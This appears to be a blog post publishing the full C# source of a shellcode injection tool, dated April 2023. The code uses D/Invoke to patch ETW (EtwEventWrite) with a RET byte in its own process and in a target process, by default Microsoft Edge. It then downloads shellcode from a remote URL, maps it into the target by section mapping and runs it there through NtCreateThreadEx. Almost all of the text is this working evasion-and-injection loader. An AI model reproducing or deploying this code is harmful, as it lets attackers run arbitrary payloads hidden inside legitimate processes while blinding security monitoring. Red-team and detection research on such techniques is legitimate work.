C# Shellcode Runner

Skeleton code for mapping shellcode into a remote process using C# + D/Invoke + ETW patching

AvCheck


NarcoMan.cs

using System;
using System.Diagnostics;
using System.Linq;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Text;
using DInvoke.DynamicInvoke;

namespace NtCreateThreadInj
{
    public class Program
    {
        public static async Task Main(string[] args)
        {
            Console.OutputEncoding = Encoding.UTF8;
            //Console.WriteLine("\n|--[-|XXXX]----- Процессный наркоман\n");

            int GetProcId()
            {
                if (args.Length == 0)
                {
                    args = new string[] { "msedge" };
                }

                if (args[0].All(char.IsDigit))
                {
                    //Console.WriteLine("[+] Getting process ID for target process ({0})", args[0]);
                    var pid = int.Parse(args[0]);
                    var process = Process.GetProcessById(pid);
                    //Console.WriteLine("[+] Handle: {0}\n  [+] Id: {1}", process.Handle, process.Id);
                    return process.Id;
                }
                else
                {
                    //Console.WriteLine("[+] Getting process ID for target process ({0})", args[0]);
                    var name = args[0];
                    var process = Process.GetProcessesByName(name).FirstOrDefault();
                    //Console.WriteLine("[+] Handle: {0}\n[+] Id: {1}", process.Handle, process.Id);
                    return process.Id;
                }
            }

            //Console.WriteLine("[*] ----- Patching ETW ----- [*]");
            int targetProcessId = GetProcId();
            Process targetProcess = Process.GetProcessById(targetProcessId);
            IntPtr targetProcessHandle = targetProcess.Handle;

            Native.VirtualProtectEx VirtualProtectEx;
            Native.WriteProcessMemory WriteProcessMemory;

            IntPtr vpeAddress = Generic.GetLibraryAddress("kernel32.dll", "VirtualProtectEx");
            IntPtr wpmAddress = Generic.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");

            VirtualProtectEx =
                (Native.VirtualProtectEx)Marshal.GetDelegateForFunctionPointer(vpeAddress,
                    typeof(Native.VirtualProtectEx));
            WriteProcessMemory =
                (Native.WriteProcessMemory)Marshal.GetDelegateForFunctionPointer(wpmAddress,
                    typeof(Native.WriteProcessMemory));

            IntPtr GetRemoteNtdllBaseAddress(Process targetProcess)
            {
                var ntdllBaseAddress = targetProcess.Modules.Cast<ProcessModule>()
                    .FirstOrDefault(m => m.ModuleName == "ntdll.dll")?.BaseAddress;

                if (ntdllBaseAddress.HasValue)
                {
                    return ntdllBaseAddress.Value;
                }
                else
                {
                    throw new InvalidOperationException();
                }
            }
            
            //Console.WriteLine("[+] NTDLL base address: 0x" + GetRemoteNtdllBaseAddress(targetProcess).ToString("X"));

            IntPtr GetEtwEventWriteOffset()
            {
                var localNtdllAddress = Generic.GetLibraryAddress("ntdll.dll", "EtwEventWrite");
                var localNtdllBaseAddress = GetRemoteNtdllBaseAddress(Process.GetCurrentProcess());
                var offset = (long)localNtdllAddress - (long)localNtdllBaseAddress;

                return (IntPtr)offset;
            }
            
            //Console.WriteLine("[+] ETW decimal offset: {0}", GetEtwEventWriteOffset().ToString());
            //Console.WriteLine("[+] ETW hex offset: 0x{0}", GetEtwEventWriteOffset().ToString("X"));

            VirtualProtectEx = (Native.VirtualProtectEx)Marshal.GetDelegateForFunctionPointer(vpeAddress, typeof(Native.VirtualProtectEx));
            WriteProcessMemory = (Native.WriteProcessMemory)Marshal.GetDelegateForFunctionPointer(wpmAddress, typeof(Native.WriteProcessMemory));

            bool checkFlag = false;
            
            void ModifyRemoteMemory(IntPtr processHandle, IntPtr address, byte newValue)
            {
                const int PAGE_EXECUTE_READWRITE = 0x40;

                if (VirtualProtectEx(processHandle, address, (UIntPtr)1, PAGE_EXECUTE_READWRITE, out var oldProtect) == 0)
                {
                    //throw new InvalidOperationException("[!] Failed to change memory protection.");
                }

                if (WriteProcessMemory(processHandle, address, new[] { newValue }, 1, out _) == 0)
                {
                    //throw new InvalidOperationException("[!] Failed to write to the memory.");
                }
                else
                {
                    if (checkFlag == false)
                    {
                        //Console.WriteLine("[+] Patched 0x{0} to 0x{1}", newValue.ToString("X"), address.ToString("X"));
                        checkFlag = true;
                    }
                }

                if (VirtualProtectEx(processHandle, address, (UIntPtr)1, (int)oldProtect, out _) == 0)
                {
                    //throw new InvalidOperationException("[!] Failed to restore memory protection.");
                }
            }

            void PatchEtw(IntPtr processHandle, IntPtr remoteNtdllBaseAddress)
            {
                IntPtr etwEventWriteOffset = GetEtwEventWriteOffset();
                IntPtr remoteEtwEventWriteAddress = (IntPtr)((long)remoteNtdllBaseAddress + (long)etwEventWriteOffset);

                byte newValue = 0xC3; // RET
                ModifyRemoteMemory(processHandle, remoteEtwEventWriteAddress, newValue);
            }
            
            Process currentProcess = Process.GetCurrentProcess();
            IntPtr currentNtdllBaseAddress = GetRemoteNtdllBaseAddress(currentProcess);
            PatchEtw(currentProcess.Handle, currentNtdllBaseAddress);
            
            IntPtr remoteNtdllBaseAddress = GetRemoteNtdllBaseAddress(targetProcess);
            PatchEtw(targetProcessHandle, remoteNtdllBaseAddress);
            
            
            //Console.WriteLine("\n[*] ----- Injecting shellcode ----- [*]");
            
            byte[] shellcode;

            using (var client = new HttpClient())
            {
                shellcode = await client.GetByteArrayAsync(URL);

                if (shellcode.Length != 0)
                {
                    //Console.WriteLine("[+] Received {0} bytes of shellcode", shellcode.Length);
                }
                else
                {
                    int errorCode = Marshal.GetLastWin32Error();
                    //Console.WriteLine("[!] Failed to receive shellcode. Error {0}", errorCode);
                    System.Environment.Exit(0);
                }
            }
            
            IntPtr sectionHandle = IntPtr.Zero;
            var maxSize = (ulong)shellcode.Length;

            var ntcSectionAddress = Generic.GetLibraryAddress("ntdll.dll", "NtCreateSection");
            var ntcSection = (Native.NtCreateSection)Marshal.GetDelegateForFunctionPointer(
                ntcSectionAddress, typeof(Native.NtCreateSection));
            var ntcSectionExec = ntcSection(
                ref sectionHandle,
                0x10000000,
                IntPtr.Zero,
                ref maxSize,
                0x40,
                0x08000000,
                IntPtr.Zero);

            if (ntcSectionExec == 0)
            {
                /*
                Console.WriteLine("[+] Create section in current process succeeded. Handle to section: 0x{0}",
                    sectionHandle.ToString("X"));
                */
            }
            else
            {
                int errorCode = Marshal.GetLastWin32Error();
                //Console.WriteLine("[!] Failed to create new section with error code {0}", errorCode);
                System.Environment.Exit(0);
            }

            var ntmvSectionAddress = Generic.GetLibraryAddress("ntdll.dll", "NtMapViewOfSection");
            var ntmvSection = (Native.NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(
                ntmvSectionAddress, typeof(Native.NtMapViewOfSection));
            var ntmvSectionExec = ntmvSection(
                sectionHandle,
                (IntPtr)(-1),
                out var localBaseAddress,
                IntPtr.Zero,
                IntPtr.Zero,
                IntPtr.Zero,
                out var _,
                2,
                0,
                0x04);

            Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);

            if (ntmvSectionExec == 0)
            {
                /*
                Console.WriteLine("[+] Mapped section to current process (self [RW]). Address: 0x{0}",
                    localBaseAddress.ToString("X"));
                Console.WriteLine("[+] Copied {0} bytes of shellcode to section", shellcode.Length);
                */
            }
            else
            {
                int errorCode = Marshal.GetLastWin32Error();
                //Console.WriteLine("[!] Failed to map section (self [RW]). Error {0}", errorCode);
                System.Environment.Exit(0);
            }

            var ntmvSectionExecRemote = ntmvSection(
                sectionHandle,
                targetProcessHandle,
                out var remoteBaseAddress,
                IntPtr.Zero,
                IntPtr.Zero,
                IntPtr.Zero,
                out var _,
                2,
                0,
                0x20);

            if (ntmvSectionExecRemote == 0)
            {
                /*
                Console.WriteLine("[+] Mapped shellcode section to remote process ({0}). Address: 0x{1}",
                    args[0],
                    remoteBaseAddress.ToString("X"));
                */
            }
            else
            {
                var errorCode = Marshal.GetLastWin32Error();
                /*
                Console.WriteLine("[!] Failed to map section to remote process ({0}). Error {1}",
                    args[0],
                    errorCode);
                */
                System.Environment.Exit(0);
            }

            var ntctExAddress = Generic.GetLibraryAddress("ntdll.dll", "NtCreateThreadEx");
            var ntctEx =
                (Native.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(
                    ntctExAddress, typeof(Native.NtCreateThreadEx));
            var ntctExExec = ntctEx(
                out _,
                0x001F0000,
                IntPtr.Zero,
                targetProcessHandle,
                remoteBaseAddress,
                IntPtr.Zero,
                false,
                0,
                0,
                0,
                IntPtr.Zero);

            if (ntctExExec == 0)
            {
                //Console.WriteLine("[+] Executed shellcode in remote process\n");
            }
            else
            {
                var errorCode = Marshal.GetLastWin32Error();
                //Console.WriteLine("[!] Failed to execute shellcode. Error {0}\n", errorCode);
                System.Environment.Exit(0);
            }
        }
    }
}
******
Written by Shain Lakin on 24 April 2023